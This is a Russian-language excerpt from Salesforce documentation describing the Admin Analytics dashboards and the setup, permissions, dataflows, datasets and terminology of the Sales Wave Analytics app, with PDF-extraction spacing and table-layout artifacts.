Общие сведения о готовых панелях мониторинга приложения Admin Analytics
ПриложениеAdmin Analyticsподдерживаетнабор готовыхпанелеймониторинга, поэтомуизучениеданныхможноначать
немедленно. Данные организации автоматически загружаются в наборы данных приложения Admin Analytics при его
формировании.

Большинствопанелеймониторингапредставляютотдельныйтипсобытийнаобъекте EventLogFile. Справочноеруководство
по объекту EventLogFile содержит подробную информацию о каждом типе событий. Тип событий не сопоставлен двум
панелям, «Мое доверие» и «Контрольный журнал настройки». Кратко рассмотримфункционирование каждой панели
мониторинга.

Apex Executions
Соответствует типу события Apex Execution. Эта панель мониторинга позволяет отслеживать тенденции выполнения
кодов и производительности Apex.

API
Соответствует типу события «Событие API». Панель мониторинга API предоставляет сведения об использовании API
пользователями, а также о производительности API в организации. Здесь можно увидеть частоту использования и
скорость обработки каждого объекта, а также методы, вызываемые для таких объектов.

Панель мониторинга
Соответствует типу события «Панель мониторинга». Эта панель мониторинга позволяет отслеживать
производительность и внедрение панели.
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Запросы Visualforce
Соответствует типу события «Запрос Visualforce». Здесь можно просматривать тенденции внедрения Visualforce и
производительность страницы.

Файлы
Соответствует типу события «Передача содержимого». На панели отображаются пользователи организации,
выполняющие передачу содержимого (загрузка файлов и в файл, предварительный просмотр). Также можно
отслеживать показатели внедрения файла.

Lightning
Соответствует типу события «Отслеживание UI». На этой панели мониторинга отображаются сведения о страницах,
доступ к которым пользователи получают в Lightning Experience или Salesforce1.

Войти как
Соответствует типу события «Войти как». Эта панель мониторинга позволяет просматривать сведения об
администраторах, которые используют функцию «Войти как», и об учетных записях пользователей, к которым
применяется данная функция.

Мое доверие
Панель мониторинга «Мое доверие» предоставляет общие сведения о событиях, происходящих в организации в
определенные периоды. Кроме того, отображается средняя скорость выполнения транзакций.

Представления страниц (URI)
Соответствует типу события URI. На панели мониторинга «Представления страниц» можно просматривать сведения
о страницах, доступ к которым получают пользователи в настольном приложении Salesforce Classic.

Загрузка отчетов
Соответствует типу события «Экспорт отчета». На этой панели мониторинга можно просматривать сведения о
пользователях, которые загружают ваши отчеты, а также об источнике загрузки.

Отчеты
Соответствуеттипусобытия «Отчет». Напанелимониторинга «Отчеты» отображаютсятенденцииведенияотчетности,
а также сведенияопользователях, которыеработаютс конкретнымиотчетами. Кроме того, можнообнаружитьотчеты,
испытывающие проблемы с производительностью.

Rest API
Соответствует типу события REST API. На этой панели отображаются тенденции использования REST API, а также
сведенияоконечныхточках, гденаблюдаетсямаксимальныйтрафик. Такжеможнопросмотретьсведенияоб IP-адресах,
с которых поступают запросы, и о вызываемых методах.

Контрольныйжурнал настройки
Соответствует странице «Контрольныйжурналнастройки» вменю «Настройка». Здесьможнопросматриватьсведения
об изменениях, которые вносят пользователи в области «Настройка».

Входы пользователей
Соответствует типусобытия «Вход». Напанелимониторинга «Входыпользователей» отображаются тенденциивхода
пользователей и сведения о месте и способе доступа пользователей к системе вашей организации.

Общие сведения о терминологии приложения Admin Analytics
Чтобы повысить эффективность использования приложения Admin Analytics, рекомендуем просмотреть используемые
показатели и термины.

3960

Приложение Admin AnalyticsAnalytics



ОписаниеТермин

Среднеевремяотображениястраницы. Сводныйпоказатель
по нескольким транзакциям.

APT

Фактическое время отображения страницы. Время
выполнения транзакции, связанной со страницей, в
восприятии пользователя.

EPT

Взаимодействие в Salesforce, инициированное
пользователем. Например, вход в систему, запуск API или
загрузкаотчета. События, связанныесобъектом EventLogFile.

Событие

Приложение Sales Wave Analytics
Приложение Sales Wave (первое готовое приложение Wave от компании Salesforce) поддерживает быстрое начало работы
сWave Analytics и предоставляет удобный доступ к данным Sales Cloud на любом устройстве. Пользователи получают
централизованный доступ ко всем инструментам, позволяющим определять наиболее важные данные, которые
способствуют расширению бизнеса.

Совет: Чтобы начать работу с приложением Sales Wave, выполните указанные ниже действия. Кроме того, если вы
используете Wave впервые, рекомендуем просмотреть дополнительную информацию в Библиотеке Wave Analytics.

1. Сведения о приложении Sales Wave

Прежде чем создавать и использовать приложение для изучения данных Sales Cloud, ознакомьтесь с преимуществами
Sales Wave.

2. Настройка полномочий Salesforce для приложения Sales Wave

Выберителицензиюдлянабораполномочий Sales Wave; создайтеиназначьтенаборыполномочийдляпредоставления
пользователям и администраторам доступа к приложению Sales Wave.

3. Создание и совместное использование приложения Sales Wave

Рекомендуем использовать простой конфигуратор приложения Sales Wave для быстрого создания приложения и
определения важности данных Sales Wave.

4. Обновление набора данных «План продаж (Цель)» приложения Sales Wave

Если вы дали положительный ответ на вопрос мастера конфигурации об отслеживании планов продаж вашей
компаниина уровне пользователей, то для включения информациипланов продаж в панелимониторинга требуется
обновить набор данных «План продаж» приложения Sales Wave, чтобы этот набор отображался на панели.

5. Планирование ежедневных потоков данных приложения Sales Wave

Прежде чем начать работу с данными посредством приложения Sales Wave, спланируйте потоки данных на периоды
вне рабочих часов.

6. Интеграция приложения Sales Wave с системой Salesforce

Выполнениедополнительныхинтеграцийииндивидуальныхнастроекдляповышенияполезностиприложения Sales
Wave.

7. Общие сведения об ограничениях для приложения Sales Wave

Sales Wave обеспечивает следующие формы поддержки объектов и данных Salesforce.
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8. Общие сведения о готовых панелях мониторинга и наборах данных приложения Sales Wave

Приложение Sales Wave содержит готовые панели мониторинга и наборы данных, которые позволяют ускорить
процесс просмотра данных Sales Wave.

9. Общие сведения о терминологии по данным приложения Sales Wave

Чтобы повысить эффективность использования приложения Sales Wave, рекомендуем просмотреть показатели и
термины, используемые в приложении.

Сведения о приложении Sales Wave

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
шаблонных приложений
Wave:
• «Использование

шаблонных
приложений Wave
Analytics»

Для использования Sales
Wave:
• «Доступ к шаблонам и

приложениям Sales
Cloud Analytics»

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• “Изменение потока
данных Wave Analytics»

Прежде чем создавать и использовать приложение для изучения данных Sales Cloud,
ознакомьтесь с преимуществами Sales Wave.

Приложение Sales Wave создано компанией Salesforce для упрощения процесса анализа
данных Sales Cloud.

Созданиеприложенияне требуетособыхусилий: используя встроенныйконфигуратор,
ответьте на вопросы относительно нужного способа просмотра данных, а Wave
позаботится обо всем остальном. Созданное приложение содержит готовые наборы
данных, панелимониторингаипредставления Lens, позволяющиепросматриватьданные
Sales Cloud на любом устройстве, поддерживающем Wave.

Интуитивно-понятный интерфейс Wave позволяет быстро получать актуальную
аналитическую картину на основе данных по продажам. А возможность настройки
приложения Sales Wave позволяет детализировать основные аспекты деятельности в
соответствии с бизнес-требованиями.

Прим.: Организация может использовать приложение Sales Wave с или без
платформы Salesforce Wave Analytics, приобретя лицензию Sales Wave.
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Настройка полномочий Salesforce для приложения Sales Wave

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• “Изменение потока
данных Wave Analytics»

Выберите лицензию для набора полномочий Sales Wave; создайте и назначьте наборы
полномочий для предоставления пользователям и администраторам доступа к
приложению Sales Wave.

Организацияможет использовать приложение Sales Wave с платформой Salesforce Wave
Analytics или без нее, приобретя лицензию Sales Wave. Лицензия Sales Wave включает
следующие полномочия.

• «Использование шаблонных приложенийWave Analytics» обеспечивает доступ ко
всем шаблонным приложениям Wave. Sales Wave — первое такое приложение.

• «Доступ к шаблонам и приложениям Sales Cloud Analytics» обеспечивает
соответствующий доступ к Sales Wave, а также к данным и готовым панелям
мониторинга, которые в него входят.

• «Управление шаблонными приложениямиWave Analytics» предоставляет
администраторам возможность создания приложений Wave для пользователей в их организациях, в данном случае
приложения Sales Wave.

• “«ИзменениепотокаданныхWave Analytics» позволяет администраторамзагружатьискачивать JSON для существующих
потоков данных.

Сиспользованием этих полномочий можно создавать наборы по аналогии с работой с любыми наборами полномочий
Salesforce, путем выбора лицензии набора полномочий, создания наборов с учетом полномочий, включенных этой
лицензией, и путем назначения наборов полномочий пользователям. Можно выполнять ту же процедуру, что и при
настройкеполномочийплатформыWave Analytics. Исключение — использованиеполномочий, включенныхлицензией
набораполномочийдляприложенияSales Wave Analytics. См. разделНастройкаплатформы Waveнастранице3748. Обычно
достаточно создать два типа набора полномочий Sales Wave: по одному для групп пользователей и администраторов.

1. Выберите лицензию набора полномочий приложения Sales Wave Analytics . Для всех пользователей Sales Wave
в вашей организации требуется лицензия набора полномочий для приложений Sales Analytics. Ее можно выбрать и
назначить пользователям так же, как любую лицензию набора полномочий Salesforce.

2. Создайте и назначьте набор полномочий, который открывает пользователям доступ к приложению Sales
Wave.Для большинства пользователей в вашей организации требуется только возможность просмотра приложения
Sales Wave. Для таких пользователей создайте набор полномочий, который включает первые два полномочия,
представленныевыше: «ИспользованиешаблонныхприложенийWave Analytics» и «Доступкшаблонамиприложениям
Sales Cloud Analytics». С этими полномочиями пользователи могут просматривать все элементы Sales Wave, а также
создаватьиредактироватьпанелимониторинга. После созданиянаборполномочийможноназначитьпользователям.

3. Создайтеиназначьтенаборполномочий, которыйоткрываетадминистраторамиотдельнымпользователям
доступ к управлениюприложением Sales Wave. Администраторам и некоторым пользователям в организации
требуется возможность создания приложения Sales Wave и предоставления к нему общего доступа. Создайте набор
полномочий, который включает все полномочия, входящие в лицензию Sales Wave, и назначьте его им. С этими
полномочиями пользователи могут не только просматривать все элементы Sales Wave, создавать и редактировать
панелимониторинга, нои создавать, публиковатьи удалятьприложения, планироватьиработать спотокамиданных,
а также загружать внешние данные (включая файл CSV, требуемый для обновления набора данных «Планы продаж»).
У пользователей с такими полномочиями есть возможности редактировать и создавать панели мониторинга и
представления Lens, редактироватьи создаватьнаборыданных с любымиданными Salesforce (включаянастраиваемые
объекты), а также загружать файлы CSV для набора данных «Планы продаж».
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Создание и совместное использование приложения Sales Wave

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• “Изменение потока
данных Wave Analytics»

Рекомендуемиспользоватьпростойконфигураторприложения Sales Waveдлябыстрого
создания приложения и определения важности данных Sales Wave.

Чтобы создать приложение Sales Wave, выполните указанные ниже действия. При
необходимости удалите созданное приложение и повторите процесс создания.
Рекомендуем просмотреть видеоролик Создание приложения Sales Wave, Часть 1:
использование мастера конфигурации, в котором демонстрируется выполнение
описанных действий.

1. Выполните вход в систему Salesforce.

2. ВыберитеWave Analytics из меню Force.com в верхнем правом углу окна Salesforce.

3. Щелкните «Создать», выберите «Приложение», выберите «Sales Wave» и нажмите кнопку «Продолжить».

4. Salesforce открываетконфигураторSales Wave, чтобывыполнитьиндивидуальнуюнастройкуприложения. Конфигуратор
отображает последовательность окон, каждое из которых содержит набор вопросов и возможных ответов в виде
раскрывающихся меню. Исходя из нужного способа просмотра данных, выберите соответствующие ответы.
Дополнительнуюинформациюсм. вразделе «Индивидуализацияинтерфейса Sales Wave посредствомконфигуратора».

5. Введите легко узнаваемое имя приложения.

6. Нажмите «Создать», чтобы запустить поток данных, на основе которого создается приложение и его активы (в том
числе поток данных, наборы данных и панели мониторинга).

7. Процесс создания приложения занимает несколько минут. По завершении процесса будут отображаться наборы
данных и панели мониторинга, являющиеся частью приложения. Чтобы проверить статус потока данных, откройте
начальную страницу Wave, нажмите значок меню в форме шестеренки в правой верхней части страницы, выберите
«Отслеживание данных», затем «Просмотр потока данных» в раскрывающемся меню в верхнем левом углу экрана и
просмотрите приложение.

8. Если после просмотра панелей мониторинга требуется изменить ответы, удалите приложение и повторите
вышеописанныешаги. Для удаленияпоместите курсорна значок толькочто созданногоприложения, нажмите кнопку
«Удалить», затем кнопку «Да», чтобы подтвердить удаление всех активов, связанных с приложением.

9. После создания приложения его можно использовать совместно с другими пользователями организации. Общий
доступпредоставляетсятолькопользователям, обладающимполномочиями «Использованиешаблонныхприложений
Wave Analytics»и «Доступ кшаблонамиприложениям Sales Cloud Analytics». (Дополнительныесведенияополномочиях
дляприложенияSales Wave см. вразделе «Настройкаполномочий Salesforce дляприложенияSales Wave). Длясовместного
использования приложения наведите курсор на значок вновь созданного приложения, нажмите «Общий доступ»,
введите имена участников группы, затем нажмите «Добавить» и «Сохранить».
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При отслеживании планов продаж на уровне пользователя рекомендуем обновить набор данных «План продаж (Цель)»,
созданныйвместе сприложением Sales Wave, допросмотраданных. См. раздел «Обновлениенабораданных "Планпродаж
(Цель)" приложения Sales Wave».

Если приложение создано впервые, на панелях мониторинга Sales Wave будет отображаться номер, связанный с
наименованиемроливиерархии. Этонесамыйудобныйспособпросмотрароли. Чтобыувидетьимялица, ответственного
за эту роль, можно обновить значение роли, внося изменения в соответствующие наборы данных файла расширенных
метаданных (XMD). Подробные сведения см. в разделе «Интеграция Sales Wave с Salesforce».

СМ. ТАКЖЕ:

Индивидуализация интерфейса Sales Wave посредством конфигуратора

Индивидуализация интерфейса Sales Wave посредством конфигуратора

Обновление набора данных «План продаж (Цель)» приложения Sales Wave

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• “Изменение потока
данных Wave Analytics»

Есливыдалиположительныйответна вопросмастера конфигурацииоботслеживании
плановпродажвашейкомпаниинауровнепользователей, тодлявключенияинформации
плановпродажвпанелимониторинга требуетсяобновитьнаборданных «Планпродаж»
приложения Sales Wave, чтобы этот набор отображался на панели.

Создание приложения Sales Wave инициирует одновременное создание набора данных
«Планпродаж (Цель)». Преждечемпроанализироватьспособ, используемыйучастниками
рабочей группыдляотслеживанияежемесячных, ежеквартальныхилиежегодныхпланов
продаж в Sales Wave, рекомендуем обновить набор данных «План продаж» путем
выполнения указанных ниже действий. Рекомендуем просмотреть видеоролик
Создание приложения Sales Wave, часть 2: загрузка CSV-файла плана продаж и
планирование потока данных, в котором демонстрируется выполнение описанных
действий.

Прим.: Обрабатываемые CSV-файлы, подлежащиеимпортувSales Wave, должныоткрыватьсяпосредствомтекстового
редактора. Открытие данных файлов посредством Microsoft Excel или другого редактора электронных таблиц, как
правило, инициирует повторное форматирование CSV-файлов и препятствует их использованию в Sales Wave.

Прим.: Если компания не отслеживает планы продаж на уровне пользователя, то данное действие может быть
пропущено. Это действие следует выполнять только при положительном ответе на вопрос мастера конфигурации
об отслеживании планов продаж в компании на уровне пользователей.

1. Создайте CSV-файл, содержащийследующиеполяв указанномпорядке: QuotaAmount, StartDate (вформате гггг-мм-дд),
OwnerName и Username. Пример см. в разделе «Пример CSV-файла приложения Sales Wave».

2. Сохраните файл в области, которую легко запомнить.

3. Откройте начальную страницуWave Analytics системы Salesforce и найдите набор данных «План продаж (Цель)».

4. Наведите указатель мыши на набор данных, а затем щелкните «Правка».
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5. Система Salesforce отобразит экран редактирования наборов данных для набора данных плана продаж. В разделе
обновления данных нажмите «Выберитефайл или перетащитефайл

сюда...»

6. Воткрывшемся диалоговомокне перейдите к CSV-файлу, созданному в действии 1, и дваждыщелкните данныйфайл.

7. Щелкните «Обновить набор данных».

8. Если фискальный период не совпадает с календарным периодом (что происходит, если период начинается с даты,
отличной от 1 января), также следует обновить файл метаданных плана продаж.

a. Скопируйте JSON из файла набора данных «План продаж приложения Sales Wave» в формате JSON и вставьте его
в выбранный текстовый редактор.

b. Изменитезначениепараметра "fiscalMonthOffset" с 4 начисло, соответствующеемесяцуначалафискального
периода. В метаданных Sales Wave «0» соответствует январю, «1» — февралю и т.д. до «11», соответствующему
декабрю.

c. Сохраните файл на рабочий стол и загрузите его в приложение Sales Wave, перетаскивая в «Выберитефайл или
перетащитефайл сюда...» в разделе добавления файла метаданных (JSON) на экране редактирования наборов
данных.

d. Щелкните «Обновить набор данных».

9. После загрузки данных плана продаж запустите поток данных повторно, чтобы обновить панели мониторинга.

a. Щелкните значок меню в виде шестеренки в верхнем правом углу экрана Sales Wave и выберите отслеживание
данных.
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b. В меню, которое находится в верхней левой части экрана отслеживания данных, выберите представление потока
данных.

c. Найдите приложение. Возможно, для этого потребуется прокрутить страницу. Откройте меню, расположенное
в дальнем правом углу экрана рядом со значком и названием приложения. Нажмите кнопку

запуска. Готово.
Поток данных гарантирует, что в приложении Sales Wave будут новейшие данные по продажам вашей компании.
Дополнительные сведения о потоках данных см. в разделе Поддержание актуальности данных приложения Sales
Wave посредством планирования потока данных.
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Планирование ежедневных потоков данных приложения Sales Wave

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• “Изменение потока
данных Wave Analytics»

Преждечемначатьработу с даннымипосредствомприложения Sales Wave, спланируйте
потоки данных на периоды вне рабочих часов.

При создании приложения Sales Wave в процесс создания включен поток данный,
повторяющийсяежедневновпериодвремени, заданныйвприложении. Это гарантирует
просмотр новейших данных системы Salesforce. Измените расписание, так чтобы поток
данныхосуществлялсявнерабочегодня. Такимобразомпотокданныхнебудетпрерывать
использование приложения.

Рекомендуем просмотреть видеоролик Создание приложения Sales Wave, часть 2:
загрузка CSV-файла плана продаж и планирование потока данных, в котором
демонстрируется выполнение описанных действий.

1. Перейдите к пунктуWave Analytics в меню Force.com (верхняя правая часть окна
Salesforce), если вы еще этого не сделали. Чтобы открыть страницу отслеживания
данных, нажмите значок шестеренки в верхнем правом углу экрана.

2. В меню, которое находится в верхней левой части экрана отслеживания данных, выберите представление потока
данных.

3. Найдите созданное приложение. Возможно, для этого потребуется прокрутить страницу. Откройте меню,
расположенноевдальнемправомуглу экранарядомсозначкоминазваниемприложения. Выберите  «Планирование»
и установите время для потока данных. Устанавливайте время за пределами рабочего дня, чтобы поток данных не

3968

Приложение Sales Wave AnalyticsAnalytics

http://salesforce.vidyard.com/watch/Ep76P0oZtAzZx57UCr_ZBA
http://salesforce.vidyard.com/watch/Ep76P0oZtAzZx57UCr_ZBA


прерывал процесс работы. Нажмите кнопку

«Сохранить».

Интеграция приложения Sales Wave с системой Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Использование шаблонных приложений
Wave Analytics»

Дляиспользованияшаблонныхприложений
Wave:

«Доступ к шаблонам и приложениям Sales
Cloud Analytics»

Для использования Sales Wave:

«Управление шаблонными приложениями
Wave Analytics»

Для создания и управления приложениями
Wave:

“Изменение потока данныхWave Analytics»

“Изменение потока данныхWave Analytics»Для редактирования файла расширенных
метаданных (XMD) набора данных:

Выполнение дополнительных интеграций и индивидуальных настроек для повышения полезности приложения Sales
Wave.

Использование приложения вашей группой станет проще при переопределении имен ролей в наборах данных,
встраивании панели мониторинга «Sales Wave - Общие сведения об организациях» на странице организаций Salesforce и
представлении Sales Wave в виде вкладки в Salesforce Classic.

Добавление действий к панелям мониторинга Sales Wave

Панели мониторинга Sales Wave используют действия, включенные в макетах страницы организации и возможностей.
Чтобы добавить действия, измените макет страницы для данных объектов.

Перейдите на вкладку организаций или возможностей в системе Salesforce, откройте страницу организации или
возможности и перейдите по ссылке «Редактировать макет» в верхней правой части страницы.
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В разделе «Быстрые действия в публикаторе» перейдите по ссылке переопределить глобальный макет публикатора.
Если любой пользователь организации уже выполнил это действие, ссылка не будет отображаться. Обратите внимание,
чтоворганизации, которуювыиспользуете, названиеданногоразделаможетнесколькоотличаться, например, «Быстрые
действия в публикаторе Salesforce Classic».

На панели макета страниц организаций или возможностей (зависит от объекта, для которого добавляются действия)
нажмите кнопку «Быстрые действия» в верхней части страницы, слева. Перетяните действия, которые начинаются со
слова «Новый» (например, новая задача, новое примечание) в раздел «Быстрые действия в публикаторе».

Чтобысохранить внесенныеизменения, нажмите кнопку «Сохранить». Действия, добавленныекмакету, будут доступны
из диаграмм и таблиц на панелях мониторинга Sales Wave.

Переопределение имен ролей в наборах данных
В приложении Sales Wave используется иерархия ролей Salesforce, чтобы создать представление о показателях продаж
компании. Еслиприложение создано впервые, напанеляхмониторинга Sales Waveбудет отображаться номер, связанный
снаименованиемроливиерархии. Этонесамыйудобныйспособпросмотрароли. Чтобыувидетьимялица, ответственного
за эту роль, можно обновить значение роли, внося изменения в соответствующие наборы данных файла расширенных
метаданных (XMD).

Предположим следующую иерархию вашей роли:

CEO (Manager: Paul)
Sales_WW (Manager: Yves)

Sales_WEST
Sales_EAST

ЧтобыимяменеджерапоявилосьнапанеляхмониторингаSales Wave, обновитефайл XMD набораданныхдлявозможностей,
используя нижеуказанное:

{"labels": {
"keys": {

"RoleName": {
"CEO": "Paul",
"Sales_WW": "Yves"
},

}
}}

Дополнительную информацию см. в Справочном руководстве по расширенным метаданным (XMD) Wave Analytics.
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Встраивание панели мониторинга общих сведений об организациях в макет страницы организаций
Мы оптимизировали панель мониторинга «Sales Wave – Общие сведения об организациях» для встраивания в макет
страницыорганизацийв Salesforce. Для этого следуйтеинструкциямраздела «Внедрениепанелимониторингана страницу
Salesforce».

Чтобыфильтровать данные панели мониторинга по просматриваемой организации, используйте следующую строку в
качестве фильтра:

{
"opportunity1": {

"AccountId": ["$Id"]
}

}

где opportunity1 соответствуетименисистемывнабореданныхвозможностей. Этоимяможетотличатьсяотимени
вашей организации.

Предоставление доступа к приложению Sales Wave на вкладке Salesforce Classic

Для получения доступа к Sales Wave перейдите к Wave Analytics в меню Force.com и выберите приложение на начальной
странице Wave. Чтобы упростить доступ к приложению для группы, представьте его в форме вкладки в Salesforce Classic.
Для этого создайте новую вкладку, указывающую на страницу Visualforce, содержащую панель мониторинга «Sales Wave
- Общие сведения». Следуйте инструкциям раздела «Добавить панель мониторинга Wave Analytics к странице Visualforce».

Общие сведения об ограничениях для приложения Sales Wave
Sales Wave обеспечивает следующие формы поддержки объектов и данных Salesforce.

Поддержка приложения Sales Wave для объектов и полей Salesforce

Sales Wave поддерживает все стандартные и настраиваемые объекты и данные Salesforce. Однако при первом создании
приложения по умолчанию платформа будет содержать только предустановленный набор полей и объектов.

Sales Wave создает поток данных, который публикует выбранные поля из следующих стандартных объектов Salesforce.

• Организации

• Пользователи

• Роли

• Возможности

• Продукты (элемент строки возможностей)

• Задачи

• События

Sales Waveподдерживаетстандартныеинастраиваемыеполястандартныхобъектов Salesforce. Указанныеполяопределяются
ответами, данными пользователем при создании приложения с помощью встроенного мастера конфигурации.

Прим.: Sales Wave ограничивает поддержку настраиваемых объектов до десяти настраиваемых объектов на каждую
организацию, где внедрено приложение Sales Wave. Это ограничение договорное, а не техническое.
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Чтобы добавить настраиваемые объекты или дополнительные поля, не включенные при первом создании приложения,
необходимообновитьпотокданныхSales Wave. Подробныесведениясм. вразделе «Созданиенаборовданныхпосредством
потока данных».

Поддержка данных, не относящихся к системе Salesforce, приложением Sales Wave

Sales Waveнеподдерживает внешниеисточникиданных, кроме CSV-файла, содержащего данныепланапродажна уровне
пользователя. Импортдругихвнешнихданныхдоступентолькоприналичиидополнительнойлицензии. Дополнительную
информацию можно получить у представителя Salesforce.

Прим.: Чтобы включить данные о плане продаж в Sales Wave, необходимо загрузить файл CSV с подробными
сведениями. Дополнительную информацию см. в разделе «Обновление набора данных "План продаж (Цель)"
приложения Sales Wave».

Общие сведения о готовых панелях мониторинга и наборах данных приложения
Sales Wave

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
приложений Wave:
• «Использование

шаблонных
приложений Wave
Analytics»

Для использования Sales
Wave:
• «Доступ к шаблонам и

приложениям Sales
Cloud Analytics»

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• “Изменение потока
данных Wave Analytics»

Приложение Sales Wave содержит готовые панели мониторинга и наборы данных,
которые позволяют ускорить процесс просмотра данных Sales Wave.

Прим.: Панелимониторингаинаборыданных, содержащиеся в вашемэкземпляре
Sales Wave, определяются ответами на вопросы мастера конфигураций в процессе
создания приложения.

Панели мониторинга Sales Wave

Готовые панели мониторинга в приложении Sales Wave содержат рекомендации,
позволяющие быстро извлекать выгоду из данных Salesforce. Панели мониторинга
позволяют пользователям управлять ожидаемыми продажами и прогнозами, понимать
ключевые факторы производительности компании, визуализировать тенденции,
назначать действия и получать быстрые ответы на вопросы о результатах работы.
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В следующей таблице рассматриваются панели мониторинга Sales Wave, предназначенные для получения быстрого
представления о текущей деятельности компании. При необходимости более подробные сведения можно просмотреть
самостоятельно. Дополнительную информацию см. в разделе «Просмотр и визуализация данных» на странице 3898.

Прим.: Приложение Sales Wave использует иерархию ролей в Salesforce для определения уровня безопасности,
который может предоставляться пользователям данных. Пользователи могут просматривать только те данные,
которыесоответствуютуровнюихролииниже. Иерархияролейтакжеиспользуетсядляопределенияуправленческой
сводной структуры на некоторых панелях мониторинга Sales Wave. Например, если для того, чтобы просматривать
результатыработыдругих группиучастников, требуется детализация в соответствиисиерархией, этоможносделать
посредством раскрывающегося списка «Просмотр роли ответственного как».

Табл. 42: Панели мониторинга Sales Wave

Имеется сводка для
менеджеров?**

Действие, необходимое
для индивидуальной
настройки*

СодержимоеИмя панели мониторинга

НетВысокийНачните здесь. Данная
панель мониторинга

Sales–Overview

позволяетполучитьбыстрое
представление о компании
на основе всех сведений об
управлении прогнозами и
ожидаемыми продажами,
производительности
рабочих групп и текущей
деятельности.
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Имеется сводка для
менеджеров?**

Действие, необходимое
для индивидуальной
настройки*

СодержимоеИмя панели мониторинга

ДаВысокийДаннаяпанельмониторинга
отображает закрытые

Sales–Forecast Review

реализованные и
ожидающиезакрытиясделки
для определения
вероятность выполнения
установленного плана
продаж.

НетВысокийОтслеживание изменений
возможностей в ожидаемых

Тенденции в ожидаемых
продажах

продажах, например,
«Закрыто и реализовано/не
реализовано», «Перемещено
в/из», «Сумма
уменьшилась/увеличилась».

НетНизкийДаннаяпанельмониторинга
отображает все открытые

Sales–Pipe Review

сделки, находящиеся в
работе, и поддерживает
систематизацию по
нескольким ключевым
измерениям для быстрого
определения популярных
открытых сделок. Кроме
того, пользователи могут
выполнять действия
(например, создание задачи
или события) в системе
Salesforce.

ДаВысокийОтслеживание событий и
задач, выполняемых каждым
участником группы сбыта.

Эффективность продаж

НетНизкийОтображаются архивные
закрытые и реализованные

Sales–Business Review

сделки по ключевым
измерениям (например,
ответственный, клиент,
география, продукт и
источник). См. изображение
выше.

НетНизкийДаннаяпанельмониторинга
отображает визуализации

Sales–By Customer
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Имеется сводка для
менеджеров?**

Действие, необходимое
для индивидуальной
настройки*

СодержимоеИмя панели мониторинга

тенденций внутри
клиентской базы.

НетНизкийДаннаяпанельмониторинга
отображает визуализации

Sales–By Geo

тенденций по
географическому региону.

НетНизкийДаннаяпанельмониторинга
отображает визуализации
тенденций по источнику.

Sales–By Source

НетНизкийДаннаяпанельмониторинга
отображает визуализации
тенденций по продукту.

Sales–By Product

ДаВысокийДаннаяпанельмониторинга
отображает лидирующих и

Sales–Leaderboard

отстающих участников по
временным промежуткам и
ключевым категориям
производительности.

ДаВысокийПредоставляются
подробные сведения для
каждого участника группы.

Sales–Player Stats

* Указывает уровень сложности редактирования панели мониторинга. Если указан высокий уровень сложности, то из-за
сложностииобширностизапросов, использованныхдлясозданияпанелимониторинга, рекомендуемработать совместно
с партнером-экспертом или с представителем службы поддержки Salesforce.

** Указывает, предоставляет ли панель мониторинга возможность детализации по структуре группы. В настоящее время
приложение Sales Wave поддерживает только иерархию ролей.

Наборы данных Sales Wave

В следующей таблице перечислены все возможные наборы данных, которые могут стать частью Sales Wave, если
приложение создается на основе ответов на вопросы мастера конфигурации.

Табл. 43: Наборы данных Sales Wave

СодержимоеИмя набора данных

Сведения о возможностях, организациях и пользователяхВозможности

Сведения о продуктах для возможностей, организаций и
пользователей

Продукты, связанные с коммерческими возможностями
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СодержимоеИмя набора данных

Сведения о задаче (например, вызовы, сообщения
электронной почты или задачи).

Задачи

Сведения о событиях, например, о встречах.События

Сведения опланепродаж; необходимо загрузитьфайл CSV
на странице3965 с даннымипланапродаж, чтобыобновить

План продаж

этот набор данных перед использованием приложения
Sales Wave.

Отслеживание изменений по дате закрытия, этапу и сумме
для возможности.

Журнал возможности

Создание типа изменения («Закрыто и реализовано/не
реализовано», «Перемещено в/из»,

Тенденции ожидаемых продаж

«Уменьшено/расширено») для каскадной диаграммы по
ожидаемым продажам.

Основные сведения о пользователях.Роль пользователя

Информация об иерархии ролей для пользователей,
которая используется при составлении сводки менеджера.

Пользователь-менеджер

Применение сведений об иерархии ролей к даннымплана
продаж, использованным при составлении сводки
менеджера.

План продаж, пользователь-менеджер

Общие сведения о терминологии по данным приложения Sales Wave
Чтобыповыситьэффективностьиспользованияприложения Sales Wave, рекомендуемпросмотретьпоказателиитермины,
используемые в приложении.

Табл. 44: Панели мониторинга Sales Wave

Описание/примечанияФормулаПоказатель/термин

Стоимостьзакрытыхиреализованных
возможностей.

Закрыто и реализовано

Стоимость закрытых и
нереализованных возможностей.

Закрыто и не реализовано

Общая стоимость закрытых
возможностей.

Закрытоиреализовано + Закрытоине
реализовано

Всего закрыто

Стоимость,
запланированная/подтвержденная/намеченная

План продаж

за определенный временной
промежуток.

Процент выполнения плана продаж.Закрытоиреализовано / ПланпродажВыполнение плана продаж
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Описание/примечанияФормулаПоказатель/термин

Возможностьиспользованиякатегории
прогноза или имени этапа для
вычисления.

МногоОжидаемое закрытие

Стоимость, ожидаемая/прогнозируемая
на конец временного промежутка.

Закрыто и реализовано + Ожидаемое
закрытие

Прогноз

Соотношение прогноза к плану
продаж.

Прогноз / План продажПрогноз к плану продаж

Стоимость, необходимая для
выполнения плана продаж.

